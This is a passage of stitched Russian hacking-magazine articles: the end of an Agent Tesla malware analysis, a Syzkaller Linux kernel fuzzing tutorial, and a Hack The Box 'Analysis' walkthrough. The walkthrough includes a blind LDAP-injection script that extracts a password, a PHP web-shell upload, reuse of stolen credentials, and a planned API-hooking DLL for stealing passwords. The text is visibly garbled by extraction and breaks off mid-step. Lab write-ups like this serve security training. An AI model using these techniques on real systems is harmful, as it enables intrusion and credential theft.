Заг рузим наш .NET-файл в GarbageMan и надела ем нес коль ко сним ков
его работы с про межут ком в нес коль ко сот мил лисекунд.

Ис поль зуемая поч та, поч товый сер вер и порт

Спи сок инте ресу ющих Agent Tesla сер висов

У меня получи лось извлечь спи сок сер висов, с которы ми вза имо дей ству ет
Agent Tesla, его поч ту, поч товый сер вер и мно го дру гой информа ции. Неп лохо
за минуту работы при ложе ния!

ÂÛÂÎÄÛ

Во ору жив шись опи сан ными в статье метода ми ана лиза, ты смо жешь зна- 
читель но облегчить себе жизнь при ана лизе вре донос ного ПО. Как видишь,
не всег да нуж но дей ство вать в лоб! Иног да мож но уско рить работу, если
уметь хорошо поль зовать ся сво ими инс тру мен тами. Они помогут сде лать
про цесс быс трее!

mailto:xtahi0nix@gmail.com
https://xakep.ru/2024/04/23/agent-tesla/
https://xakep.ru/2018/12/06/hidden-winapi/
https://github.com/WithSecureLabs/GarbageMan
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ВЗЛОМ

В этой статье мы поп ракти куем ся в фаз- 
зинге ядра. Но сна чала нем ного погово рим
об исто рии и теории фаз зинга, а так же
обсу дим прин цип работы нашей цели. Нас- 
тро им и ском пилиру ем ядро Linux, нас тро- 
им Syzkaller и прис тупим к поис ку багов.

ÑÒÅÍÄ

Да вай быс трень ко ска чаем готовую вир туаль ную машину, что бы не тра тить
вре мя на ее раз ворачи вание из ISO-обра за.

Го товые вир туал ки мож но най ти на сай те . Там есть обра зы ВМ
для VMware Player и VirtualBox.

osboxes.org

Для этой статьи я взял образ Ubuntu для VirtualBox. Но ты волен выб рать
любой дру гой дис три бутив и сис тему вир туали зации.

Ка чаем Ubuntu 22.04 Jammy Jellysh.

По ка вир туал ка ска чива ется, пов торим теорию про фаз зинг и Syzkaller.

Краткая история фаззинга
Фаз зинг (fuzzing) — это метод тес тирова ния прог рамм, который зак люча ется
в авто мати чес кой генера ции и вво де слу чай ных или некор рек тных дан ных
в прог рамму с целью поис ка оши бок, уяз вимос тей и воз можных сбо ев.

Тер мин «фаз зинг» был впер вые исполь зован в науч ной статье «An
Empirical Study of the Reliability of UNIX Utilities» в 1988 году. Одна ко сам метод
фаз зинга стал активно раз вивать ся в начале двух тысяч ных годов бла года ря
работе иссле дова телей и хакеров, которые широко исполь зовали его
для поис ка уяз вимос тей в ПО.

Один из пер вых извес тных слу чаев успешно го при мене ния фаз зинга был
в 2005 году, ког да коман да иссле дова телей безопас ности наш ла уяз вимость
в Internet Explorer, исполь зуя авто мати чес кий фаз зинг. Этот слу чай показал,
что фаз зинг может быть эффектив ным инс тру мен том для поис ка уяз вимос тей
даже в очень популяр ных про дук тах.

Со вре менем фаз зинг стал широко рас простра нен ным методом тес- 
тирова ния прог рамм и исполь зует ся как раз работ чиками, так и хакера ми
для поис ка уяз вимос тей и повыше ния безопас ности. А с появ лени ем спе- 
циали зиро ван ных инс тру мен тов и фрей мвор ков для фаз зинга он стал
еще дос тупнее и эффектив нее.

Краткая история Syzkaller
Syzkaller — это инс тру мент для авто мати зиро ван ного тес тирова ния ядра опе- 
раци онной сис темы, раз работан ный Дмит рием Вьюко вым. Исто рия Syzkaller
началась при мер но в 2014 году.

В начале работы над Syzkaller Вьюков стол кнул ся с проб лемой поис ка
и исправ ления уяз вимос тей в ядре Linux. Тра дици онные методы тес тирова- 
ния и руч ного ана лиза кода ока зались неэф фектив ными из-за слож ности
и объ ема кода ядра. Поэто му он решил соз дать инс тру мент, который поз- 
волил бы авто мати зиро вать этот про цесс.

Syzkaller был раз работан как инс тру мент для генера ции и запус ка слу чай- 
ных тес тов на ядре Linux. Он исполь зует фаз зеры для генера ции слу чай ных
вход ных дан ных, которые переда ются в сис темные вызовы ядра. Затем
Syzkaller отсле жива ет поведе ние сис темы и реаги рует на ошиб ки, падения
или дру гие ано малии.

Со вре менем Syzkaller стал широко исполь зуемым инс тру мен том в сооб- 
щес тве раз работ чиков ядра Linux и дру гих опе раци онных сис тем. Он помог
выявить мно жес тво уяз вимос тей и оши бок в ядре, улуч шить его качес тво
и надеж ность.

Се год ня Syzkaller под держи вает не толь ко ядро Linux, но и дру гие опе- 
раци онные сис темы, такие как FreeBSD, Fuchsia и даже Windows. Он про дол- 
жает раз вивать ся и улуч шать ся бла года ря вкла ду сооб щес тва раз работ чиков
и иссле дова телей безопас ности.

Что ж, думаю, вир туал ка уже ска чалась, поэто му сво рачи ваем исто ричес кий
экскурс и отправ ляем ся занимать ся прак тикой.

В архи ве ты най дешь вир туаль ный диск, его нуж но под клю чить при соз- 
дании новой вир туал ки.

В слу чае VirtualBox это выг лядит так, как на рисун ке ниже.

Очень важ но вклю чить вло жен ную вир туали зацию, в этом поможет коман да

 on 
& 'C:\Program Files\Oracle\VirtualBox\VBoxManage.exe' modifyvm 
Ubuntu.22.04.x64 --nested-hw-virt

И не забудь вклю чить буфер обме на, что бы мож но было копиро вать коман ды
в вир туал ку.

Ес ли копиро вание не зарабо тает, то мож но пос тавить в вир туал ке OpenSSH
server и прос то работать с ней через SSH. Толь ко перед этим нуж но поменять
у вир туал ки тип соеди нения с NAT на сетевой мост.

Даль ше узна ём адрес и под клю чаем ся.

Я исполь зую имен но этот метод, пос коль ку работаю на выделен ном сер вере,
а не в ВМ.

ÑÎÁÈÐÀÅÌ ÔÀÇÇÅÐ

Те перь, ког да ска чан вир туаль ный диск и раз верну та вир туаль ная машина,
прис тупа ем к сбор ке фаз зера.

Пер во-напер во — Go. Фаз зер написан на Golang, поэто му нам понадо-
бит ся ком пилятор это го язы ка. Для сбор ки нуж на вер сия 1.21 или стар ше.

wget https://dl.google.com/go/go1.21.4.linux-amd64.tar.gz 
 tar -xf go1.21.4.linux-amd64.tar.gz 

/go export GOROOT=`pwd`
/bin:export PATH=$GOROOT $PATH

Еще понадо бит ся ком пилятор C и С++, а так же ядро с вклю чен ным изме рени- 
ем пок рытия кода (пер вое заполу чить эле мен тарно, вто рое — чуть слож нее),
ну и, само собой, нужен Git. И еще вся кое по мелочи, пол ный спи сок есть
в .до кумен тации Syzkaller

На поми наю, пароль от ска чан ной вир туал ки — .osboxes.org

sudo apt update 
apt  sudo install -y gcc g++ git make flex bison libncurses-dev 

libelf-dev libssl-dev bc 

С ядром раз берем ся чуть поз же, а пока кло ниру ем репози торий Syzkaller
и собира ем про ект.

 cd $HOME
git clone https://github.com/google/syzkaller 
cd syzkaller 
make 

Соб ранные бинар ники будут находить ся в дирек тории .bin

Продолжение статьи →

mailto:sploitem@gmail.com
http://osboxes.org/
https://github.com/google/syzkaller/blob/master/docs/linux/setup_ubuntu-host_qemu-vm_x86-64-kernel.md


ЯДЕРНЫЙ ФАЗЗИНГ
НАСТРАИВАЕМ SYZKALLER ДЛЯ

ПОИСКА БАГОВ В ЯДРЕ LINUX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÑÁÎÐÊÀ ßÄÐÀ

Пе рехо дим к под готов ке ядра, так как это и есть наша цель для фаз зинга.
Кло ниру ем репози торий, нас тро им и ском пилиру ем ядро.

Êà÷àåì ÿäðî
Тут всё стан дар тно. Сна чала кло ниру ем репози торий исходно го кода ядра.

export KERNEL=$HOME/linux 
git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/
linux.git $KERNEL

Опе рация не осо бен но быс трая. Поэто му прер вемся на оче ред ной лик без —
я вкрат це рас ска жу о том, как работа ет Syzkaller.

Êàê ðàáîòàåò Syzkaller
Для начала кар тинка из докумен тации фаз зера.

Ком понент syz-manager отве чает за запуск и монито ринг вир туалок, генера- 
цию вход ных дан ных и хра нение кор пуса фаз зинга и кра шей. Он же запус кает
syz-fuzzer.

Они вза имо дей ству ют через RPC (remote procedure call): syz-manager
переда ет syz-fuzzer прог рамму, которую нуж но запус тить, а syz-fuzzer переда- 
ет syz-manager резуль таты выпол нения.

За тем syz-fuzzer запус кает syz-executor, который выпол няет передан ную
на вход прог рамму с сис темны ми вызова ми.

Весь про цесс делит ся на четыре эта па, они опи саны ниже.
1.  Syzkaller генери рует слу чай ные вход ные

дан ные (тес товые прог раммы) для ядра Linux. Эти тес товые прог раммы
пред став ляют собой сис темные вызовы, струк туры дан ных и дру гие эле- 
мен ты.

Ãå íåðà öèÿ òåñ òîâûõ äàí íûõ.

2.  Syzkaller запус кает тес товые прог раммы на целевой сис- 

теме, вза имо дей ствуя с ядром Linux через сис темные вызовы, и при этом
отсле жива ет поведе ние ядра и реак цию на вход ные дан ные.

Çà ïóñê òåñ òîâ.

3.  Syzkaller монито рит работу ядра, отсле живая
воз можные ошиб ки, ава рий ные завер шения или дру гие ано малии. Обна- 
ружив проб лему, Syzkaller собира ет информа цию о ней для пос леду юще го
ана лиза.

Ìî íèòî ðèíã è àíà ëèç.

4.  Syzkaller соз дает отче ты о най ден ных уяз вимос тях,

ошиб ках и дру гих проб лемах в ядре Linux.

Ñîç äàíèå îò÷å òîâ.

Íàñòðàèâàåì è ñîáèðàåì
Идем даль ше. Теперь нуж но сге нери ровать кон фиг для ядра и впи сать в него
пару опций.

 cd $KERNEL
make defconfig 
make kvm_guest.config 

Эта коман да соз даст кон фиг. Далее впи сыва ем в него парамет ры, необ- 
ходимые для фаз зинга. В этом нам поможет sed.

  sed -i "s/# CONFIG_KCOV is not set/CONFIG_KCOV=y/" .config 
  sed -i "s/# CONFIG_DEBUG_INFO_DWARF4 is not set/

CONFIG_DEBUG_INFO_DWARF4=y/" .config 
  sed -i "s/# CONFIG_KASAN is not set/CONFIG_KASAN=y\n

CONFIG_KASAN_INLINE=y/" .config 
  sed -i "s/# CONFIG_CONFIGFS_FS is not set/CONFIG_CONFIGFS_FS=y/" .

config 
  sed -i "s/# CONFIG_SECURITYFS is not set/CONFIG_SECURITYFS=y/" .

config 
  

0
sed -i "s/# CONFIG_CMDLINE_BOOL is not set/CONFIG_CMDLINE_BOOL=y\n
CONFIG_CMDLINE="net.ifnames= "/" .config 

В кон фигура ции ядра акти виру ется сбор пок рытия кода, отла доч ная
информа ция, санитай зер KASAN для обна руже ния багов, спе цифич ные
для Debian опции и отклю чает ся механизм Predictable Network Interface
Names. Под робнее — .в докумен тации

Пос ле редак тирова ния нуж но переге нерить кон фиг.

make olddefconfig 

Все готово, собира ем ядро. Это тоже зай мет какое-то вре мя, которое
зависит от мощ ности машины.

Те перь запус каем make:

make -j`nproc`

Дол жны появить ся фай лы vmlinux и bzImage. Про верить их наличие мож но
сле дующи ми коман дами:

 ls $KERNEL/vmlinux 
 ls $KERNEL/arch/x86/boot/bzImage 

Ñîçäàåì îáðàç
Ког да ядро соб рано, нуж но соз дать образ сис темы на осно ве его. Из это го
обра за фаз зер будет соз давать вир туаль ные машины под фаз зинг.

Сна чала понадо бит ся уста новить инс тру мент .debootstrap

apt  sudo install -y debootstrap 

И сле дом соз даем тот самый образ такими коман дами:

export IMAGE=$HOME/image 
  mkdir -p $IMAGE

 / cd $IMAGE
wget https://raw.githubusercontent.com/google/syzkaller/master/tools/
create-image.sh -O create-image.sh 
chmod +x create-image.sh 
./create-image.sh 

Ре зуль татом будет файл .$IMAGE/bullseye.img

Ñòàâèì QEMU è ïðîâåðÿåì îáðàç
Что бы все получи лось, понадо бит ся эму ляция железа. В этом нам поможет
небезыз вес тный QEMU.

Ус танав лива ем:

apt  sudo install -y qemu-system-x86 

Про веря ем, работа ет ли наш образ. Для это го запус каем его на QEMU.
Понадо бит ся вто рой тер минал, что бы про верить под клю чение к запущен ному
обра зу.

Нуж но добавить текуще го поль зовате ля (в дан ном слу чае ) в груп- 

пу .

osboxes
kvm

 sudo usermod -a -G kvm user 

И еще одно зак линание для KVM.

sudo modprobe kvm-intel 

Пос ле это го нуж но перело гинить ся.

export KERNEL=$HOME/linux 
export IMAGE=$HOME/image 
qemu-system-x86_64 \
    2G -m \
    2 -smp \
    -kernel $KERNEL/arch/x86/boot/bzImage \
    

 
-append "console=ttyS0 root=/dev/sda earlyprintk=serial net.

ifnames=0" \
    raw -drive file=$IMAGE/bullseye.img,format= \
   -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \
   -net nic,model=e1000 \
    -enable-kvm \
    -nographic \
   -pidfile vm.pid \
   2>&1 | tee vm.log 

В текущем окне тер минала дол жно появить ся вот такое приг лашение.

В дру гом окне тер минала тоже под клю чаем ся к вир туал ке (или сер веру),
затем про веря ем под клю чение к запущен ному на QEMU обра зу.

export IMAGE=$HOME/image 
ssh   -i $IMAGE/bullseye.id_rsa -p 10021 -o "StrictHostKeyChecking no" 
root@localhost 

Под клю чились, все работа ет, и теперь мож но вык лючить сис тему. Вво дим
во вто ром тер минале

poweroff 

Ма шина вык лючит ся. Мы готовы к фаз зингу ядра!

ÇÀÏÓÑÊ ÔÀÇÇÈÍÃÀ

Те перь нуж но соз дать кон фиг для самого фаз зера, пос ле чего его мож но
будет запус кать.

В кон фиге нуж но будет ука зать рабочую дирек торию, поэто му соз дадим
ее:

  mkdir -p $HOME/workdir 

Соз даем кон фиг Syzkaller:

{
 "target": "linux/amd64",
 "http": "127.0.0.1:56741",
 "workdir": "workdir",
 "kernel_obj": "linux",
 "image": "image/bullseye.img",
 "sshkey": "image/bullseye.id_rsa",
 "syzkaller": "syzkaller",
 "procs": 8,
 "type": "qemu",
 "vm": {
   "count": 4,
   "kernel": "linux/arch/x86/boot/bzImage",
   "cpu": 2,
   "mem": 2048
 }

}

В кон фиге мож но поменять количес тво про цес соров ( ) и опе ратив ной

памяти ( ), выделя емых каж дой машине. Так же мож но ука зать количес тво
вир туаль ных машин ( ). Все зависит от воз можнос тей машины.

cpu
ram

count
Кон фиг готов, можем запус кать фаз зинг!

syzkaller/bin/syz-manager -config=my.cfg 

Пос ле запус ка прой дет какое-то вре мя, преж де чем появит ся кон нект от тес- 
товой машины.

Ес ли очень дол го нет кон некта, запус ти фаз зер сно ва, при этом передав флаг
, и вни матель но смот ри вывод, обыч но там сра зу вид но, если что-то

пош ло не так. Нап ример, может быть ошиб ка под клю чения по SSH.
-debug

У фаз зера есть веб-интерфейс.

Здесь мож но пос мотреть всю ста тис тику. Так же здесь будет отоб ражать ся
информа ция о най ден ных багах. Для каж дого при водит ся лог и исходный код
прог раммы, которая вызыва ет краш ядра.

Что бы смот реть эту стра ницу на хос те, убе дись, что у вир туаль ной машины
выб ран тип адап тера «Сетевой мост».

И перед запус ком Syzkaller нуж но впи сать в кон фиг IP-адрес вир туаль ной
машины (или IP-адрес сер вера в слу чае VPS) вмес то стан дар тно го 127.0.0.1.

ÂÛÂÎÄÛ

Мы крат ко рас смот рели исто рию и теорию фаз зинга, разоб рались, как устро- 
ен фаз зер Syzkaller и как его запус кать. Затем нас тро или и ском пилиро вали
ядро Linux. И наконец, начали поиск багов в нем при помощи Syzkaller.

Же лаю тер пения в ожи дании кра шей! В качес тве сле дующе го шага
можешь поп робовать самос тоятель но осво ить фаз зер ядра .Trinity

Ссылки

• Syzkaller
• До кумен тация Syzkaller
• Ре шение час тых проб лем с Syzkaller
• Ре шение час тых проб лем с Linux
• Ре пози торий ядра
• Как работа ет фаз зер
• Про добав ление опи сания вызовов

https://github.com/google/syzkaller/blob/master/docs/linux/troubleshooting.md
https://github.com/kernelslacker/trinity
https://github.com/google/syzkaller/tree/master
https://github.com/google/syzkaller/tree/master/docs
https://github.com/google/syzkaller/blob/master/docs/troubleshooting.md
https://github.com/google/syzkaller/blob/master/docs/linux/troubleshooting.md
https://github.com/torvalds/linux/tree/master
https://github.com/google/syzkaller/blob/master/docs/internals.md
https://github.com/google/syzkaller/blob/master/docs/syscall_descriptions.md
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ВЗЛОМ

В этом рай тапе я покажу, как писать свою
DLL для перех вата API-фун кции и получе ния
вво димых в при ложе ние учет ных дан ных
поль зовате ля. Внед рив DLL в целевой про- 
цесс, чита ем учет ные дан ные и прод вига- 
емся к новому поль зовате лю. Затем,
исполь зуя цепоч ку неп равиль но скон- 
фигури рован ных спис ков дос тупа, получа- 
ем пол ный кон троль над доменом. Но для
начала про экс плу ати руем LDAP-инъ екцию
и заль ем на сер вер веб-шелл.

На ша цель — получе ние прав супер поль зовате ля на машине Analysis с учеб- 
ной пло щад ки . Уро вень задания — слож ный.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.250    analysis.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Скрипт нашел мно го откры тых пор тов, что типич но для Windows:
53 — DNS;•
80 (HTTP) — веб-сер вер Microsoft IIS/10.0;•
88 — Kerberos;•
135 — служ ба уда лен ного вызова про цедур (Microsoft RPC);•
139 — служ ба сеан сов NetBIOS, NetLogon;•
389 — LDAP;•
445 — SMB;•
464 — служ ба сме ны пароля Kerberos;•
593 (HTTP-RPC-EPMAP) — исполь зует ся в служ бах DCOM и MS Exchange;•
636 — LDAP с шиф ровани ем SSL или TLS;•
3268 (LDAP) — для дос тупа к Global Catalog от кли ента к кон трол леру;•
3269 (LDAPS) — для дос тупа к Global Catalog от кли ента к кон трол леру
через защищен ное соеди нение;

•

3306 — СУБД MySQL;•
5985 — служ ба уда лен ного управле ния WinRM;•
9389 — веб-служ бы AD DS.•

Уяз вимос ти Null session на SMB нет, поэто му сра зу идем на веб-сер вер.

Глав ная стра ница сай та analysis.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те ничего инте рес ного най ти не уда лось, поэто му прис тупим к поис ку
скры тых фай лов и катало гов.

Справка: сканирование веба c feroxbuster
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

За даем все нуж ные парамет ры и запус каем ска ниро вание:

 1  256 
feroxbuster -u http://analysis.htb/ -w directory_2.3_medium_
lowercase.txt -d -t

Но ни фай лов, ни катало гов най ти не уда лось, поэто му перехо дим к поис ку
под доменов, что может открыть для нас новые сай ты. Для это го я исполь зую
дру гую ути литу — .ffuf

ffuf     
 128 

-u 'http://analysis.htb/' -H 'Host: FUZZ.analysis.htb' -w 
subdomains-bitquark-top100000.txt -t

Ре зуль тат ска ниро вания под доменов с помощью ffuf

И находим один под домен, который добав ляем в файл ./etc/hosts

10.10.11.250 analysis.htb internal.analysis.htb 

Сер вер воз вра щает код отве та 403, поэто му при дет ся поис кать скры тые
катало ги и здесь.

  
 256  1 

feroxbuster -u 'http://internal.analysis.htb/' -w directory_2.3_
medium_lowercase.txt -t -d

Ре зуль тат ска ниро вания катало гов

В ито ге находим три дос тупных катало га. Ска ниру ем  на пред мет

инте рес ных фай лов.

dashboard

  
 256  1 

feroxbuster -u 'http://internal.analysis.htb/dashboard/' -w files_
interesting.txt -t -d

Ре зуль тат ска ниро вания фай лов

Наш ли , поэто му поп робу ем ска ниро вать во всех катало гах толь ко

фай лы PHP.

index.php

  
 256  1 

feroxbuster -u 'http://internal.analysis.htb/dashboard/' -w php_
files_common_5476.txt -t -d

Ре зуль тат поис ка PHP-фай лов в катало ге dashboard

  
 256  1 

feroxbuster -u 'http://internal.analysis.htb/users/' -w php_files_
common_5476.txt -t -d

Ре зуль тат поис ка PHP-фай лов в катало ге users

  
 256  1 

feroxbuster -u 'http://internal.analysis.htb/employees/' -w php_
files_common_5476.txt -t -d

Ре зуль тат поис ка PHP-фай лов в катало ге employees

В ито ге получи лось най ти фор му авто риза ции в веб-при ложе нии.

Со дер жимое стра ницы employees/login.php

На стра нице  получа ем сооб щение о невер ном парамет ре.users/list.php

Со дер жимое стра ницы users/list.php

Поп робу ем подоб рать имя парамет ра, для чего сно ва задей ству ем ffuf. Что бы
в вывод не попада ли все вари анты из спис ка, уста новим филь тр по раз меру
стра ницы с помощью парамет ра .-fs

ffuf   
 64  17 

-u 'http://internal.analysis.htb/users/list.php?FUZZ=test' -w 
wordlistsparameters_2588.txt -t -fs

Ре зуль тат ска ниро вания парамет ров

На ходим параметр , который отве чает за филь тра цию поль зовате лей

по име ни.

name

Со дер жимое стра ницы users/list.php

В самом филь тре может най тись воз можность для инъ екции, поэто му
перебе рем сна чала сим волы, а затем их пос ледова тель нос ти, которые могут
при вес ти к инъ екции. Если она воз можна, дан ные на стра нице изме нят ся, что
мы можем отсле живать.

Пе ребор про изво дим с помощью Burp Intruder.

Burp Intruder — вклад ка Positions

Burp Intruder — резуль тат перебо ра

Burp Intruder — резуль тат перебо ра

В резуль тате нашел ся набор сим волов, который дал отли чающиеся
от основной мас сы резуль таты. Судя по все му, перед нами LDAP-инъ екция.
Удос товерить ся в этом мож но, исполь зовав филь тр .(objectClass=user)

Ре зуль тат выпол нения зап роса

LDAP Injection
Пер вым делом поп робу ем получить дос тупные атри буты LDAP. Для это го
перебе рем их с помощью Burp Intruder по сле дующе му усло вию:

*)(%26(objectClass=user)($attr=*) 

Burp Intruder — вклад ка Positions

Burp Intruder — резуль тат перебо ра

Ни каких необыч ных атри бутов не наш ли. Поп робу ем получить опи сание учет- 
ной записи поль зовате ля, так как в поле  час то мож но встре тить

сох ранен ные пароли для сер висных учет ных записей.

description

На пишем код, который будет посим воль но переби рать зна чение атри бута
. Работа ет это вот как. Мы по одно му сим волу меня ем усло вие 

: зна чение атри бута будет сна чала , затем , ,  и так

далее. Как толь ко в отве те появит ся таб лица с поль зовате лем, сим вол мож но
счи тать вер ным.

description (
description=*) a* b* c* d*

 import requests

  base_url = "http://internal.analysis.htb/users/list.php?name="

 def make_request(param):
       url = base_url + param
     response = requests.get(url)
    return response.text

 def find_character(target_char):
     current_param = ""
     

\\  

all_characters =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^
&
*()-_+=<>?/.,;:'"[]{}| `~ "

   while True:
       for char in all_characters:
           new_param = "*)(%26(objectClass=user)(description=" + 
current_param + char + "*)"
           response = make_request(new_param)

              print(new_param + " " + str(len(response)))
           if len(response) == 418:
               current_param += char

                print("Found character:", char)
               if char == target_char:

                     print("Target character found:", target_char)
                   return current_param

target_character = ''
result_param = find_character(target_character)

 print("Description: ", result_param)

Во вре мя перебо ра про изой дет зацик ливание скрип та.

Ре зуль тат работы скрип та

Это свя зано с тем, что нуж ным сим волом явля ется звез дочка, которая
исполь зует ся в самой мас ке. Изме ним зна чение перемен ной 

на  и заново запус тим скрипт. При вто ром зацик ливании мож но счи- 

тать, что зна чение атри бута уже опре деле но.

current_param
97NTtl*

Ре зуль тат работы скрип та

От вет сер вера

По лучен ная стро ка похожа на пароль, поэто му нуж но про верить его на валид- 
ность с помощью ути литы .NetExec

   nxc smb analysis.htb -u 'technician' -p '97NTtl*4QP96Bv'

Ре зуль тат про вер ки учет ных дан ных

Учет ная запись валид на, а зна чит, мож но получать информа цию из домена.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists


HTB ANALYSIS
КРАДЕМ УЧЕТКИ ЧЕРЕЗ ПЕРЕХВАТ

API ПРИЛОЖЕНИЯ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Пер вым делом получим спи сок всех поль зовате лей домена с помощью
NetExec. Единс твен ный поль зователь с дан ными в поле  у нас

уже есть.

description

    nxc smb analysis.htb -u 'technician' -p '97NTtl*4QP96Bv' --users

Поль зовате ли домена

Так же нуж но опре делить поль зовате лей, которые могут получить сес сию
на сер вере через служ бу WinRM. Для это го зап росим чле нов служ бы «Поль- 
зовате ли уда лен ного управле ния». При этом дела ем пред положе ние, что
язык сис темы — испан ский, и берем нуж ную стро ку из испан ской локали- 
зации.

     nxc smb analysis.htb -u 'technician' -p '97NTtl*4QP96Bv' --groups
'Utilisateurs de gestion à distance'

Поль зовате ли уда лен ного управле ния

Сес сию на сер вере нам пока не получить. Вспо мина ем про авто риза цию
на сай те, быть может, там есть уяз вимос ти RCE.

Глав ная стра ница сай та

Изу чив сайт, находим фор му заг рузки фай лов.

Со дер жимое стра ницы SOC Report

Сра зу про буем заг рузить , популяр ный шелл на PHP. Уда ча: мы
находим его в катало ге .

p0wny-shell
uploads

Ре зуль тат выпол нения коман ды whoami /all

Продолжение статьи →

https://github.com/flozz/p0wny-shell


HTB ANALYSIS
КРАДЕМ УЧЕТКИ ЧЕРЕЗ ПЕРЕХВАТ

API ПРИЛОЖЕНИЯ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëüçîâàòåëü jdoe
Мы про ник ли в сис тему, и теперь нам нуж но соб рать информа цию. Я буду
исполь зовать для это го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост исполня емый файл для Windows и запус тим ска ниро вание.
В выводе будет мно го информа ции, из полез ного отме чаем учет ные дан ные
для авто лого на.

Учет ные дан ные для авто лого на

Так как этот юзер сос тоит в груп пе поль зовате лей уда лен ного управле ния, он
может исполь зовать служ бу WinRM для выпол нения команд. Для получе ния
сес сии исполь зуем тул зу  и забира ем пер вый флаг.Evil-WinRM

evil-winrm -i 10.10.11.250 -u jdoe -p '7y4Z4^*y9Zzj'

Флаг поль зовате ля

Ïîëüçîâàòåëü wsmith
На дис ке  есть каталог , в котором рас положен единс твен ный файл

. В этом фай ле содер жится зашиф рован ное сооб щение, где мы
находим наз вание и вер сию какого-то при ложе ния: BCTextEncoder 1.03.2.1.

C private
encoded.txt

Со дер жимое дис ка C

Со дер жимое фай ла encoded.txt

Ни каких экс пло итов для этой прог раммы я не нашел, поэто му соб рал дан ные
из домена с помощью BloodHound.

Справка: BloodHound
Ути лита  исполь зует теорию гра фов для выяв ления скры тых
и зачас тую неп редна мерен ных вза имос вязей в сре де Active Directory. Ее мож- 
но исполь зовать, что бы лег ко иден тифици ровать очень слож ные пути ата ки.
Помимо самой ути литы, которая поз воля ет прос матри вать граф, сущес тву ет
часть, заг ружа емая на уда лен ный хост для сбо ра информа ции. Она быва ет
в вер сиях для Windows — на PowerShell или C# — и для Linux — на Python.

BloodHound

В этом помог ло рас ширение BloodHound для NetExec. Пред варитель но нуж но
обно вить запись в фай ле ./etc/hosts

10.10.11.250 analysis.htb internal.analysis.htb DC-ANALYSIS.analysis.
htb 

А теперь запус кам NetExec.

    All nxc ldap 10.10.11.250 -u jdoe -p '7y4Z4^*y9Zzj' --bloodhound -c
-ns 10.10.11.250 

Сбор дан ных домена

Ни каких путей прод вижения от поль зовате ля jdoe най ти не уда лось, поэто му
вер немся к BCTextEncoder. Если отсле живать спи сок про цес сов, то мож но
заметить, что PID про цес са BCTextEncoder пос тоян но меня ется, а зна чит,
при ложе ние зак рыва ется и запус кает ся.

Спи сок про цес сов

Спи сок про цес сов

Спер ва я решил исполь зовать кей лог гер, что бы отсле дить вве ден ные дан ные
и самос тоятель но рас шифро вать файл, но эта идея ока залась неудач ной.
Тог да я решил нем ного покодить, что бы перех ватить вве ден ный пароль.
Для это го ска чаем исполня емый файл при ложе ния:

C:\Program Files\BCTextEncoder\BCTextEncoder.exe.exe 

И перене сем его на вир туаль ную машину с Windows.

Ïîõèùåíèå ó÷åòíûõ äàííûõ ÷åðåç API hooking
Смысл ата ки зак люча ется в том, что бы опре делить фун кции API, через
который будут про ходить учет ные дан ные. Затем написать DLL, содер жащую
хуки (перех ватчи ки) этих API-фун кций. Для хука нуж но реали зовать про цеду ру,
которая запишет в файл перех вачен ные учет ные дан ные, пос ле чего передаст
управле ние легитим ной фун кции API. Ког да DLL будет готова, ее нуж но будет
заин жектить в целевой про цесс.

Нач нем с поис ка нуж ных фун кций API с помощью . Запус каем
ути литу (x86) и выбира ем для монито рин га все модули.

API Monitor

Спи сок модулей для отсле жива ния

Пос ле это го выпол няем целевое при ложе ние. В спис ке запущен ных про цес-
сов в API Monitor выбира ем про цес сы  и 
для отсле жива ния.

BCTextEncoder TextEncode

Спи сок про цес сов

От сле жива емые про цес сы

В  выбира ем файл и вво дим пароль (я исполь зовал

). Спи сок перех вачен ных API стал попол нять ся.

